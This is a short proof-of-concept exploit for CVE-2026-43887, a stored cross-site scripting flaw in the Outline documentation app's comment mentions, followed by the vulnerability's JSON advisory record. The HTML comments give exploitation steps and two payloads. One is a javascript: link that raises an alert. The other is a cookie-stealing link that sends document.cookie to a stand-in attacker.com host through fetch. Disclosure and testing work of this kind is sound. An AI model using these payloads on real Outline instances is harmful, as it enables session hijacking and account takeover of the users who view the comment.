CVE-2026-43887

<!-- PoC for CVE-2026-43887 Description: Stored XSS via Mention href attribute in Outline. --> <!-- Exploitation Steps: 1. Login to Outline instance. 2. Create a comment in a document. 3. Trigger a user mention or manipulate the request to inject a javascript: protocol into the href. 4. The resulting HTML will look like this: --> <a href="javascript:alert('CVE-2026-43887-XSS')">@victim_user</a> <!-- 5. When any user views the comment, the alert box will execute. Alternative Payload to steal cookies: --> <a href="javascript:fetch('https://attacker.com/?c='+document.cookie)">@admin</a>

{"cve": {"id": "CVE-2026-43887", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:13.493", "lastModified": "2026-05-11T22:22:13.493", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. From 0.84.0 to 1.6.1, the Outline comment section permits users to mention other users; however, the backend does not validate or sanitize the href attribute associated with these mentions. As a result, potentially dangerous protocols (e.g., javascript:) are not filtered, introducing a risk of client-side code execution. This vulnerability is fixed in 1.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/outline/outline/security/advisories/GHSA-rqrg-f3qc-xvgh", "source": "[email protected]"}]}}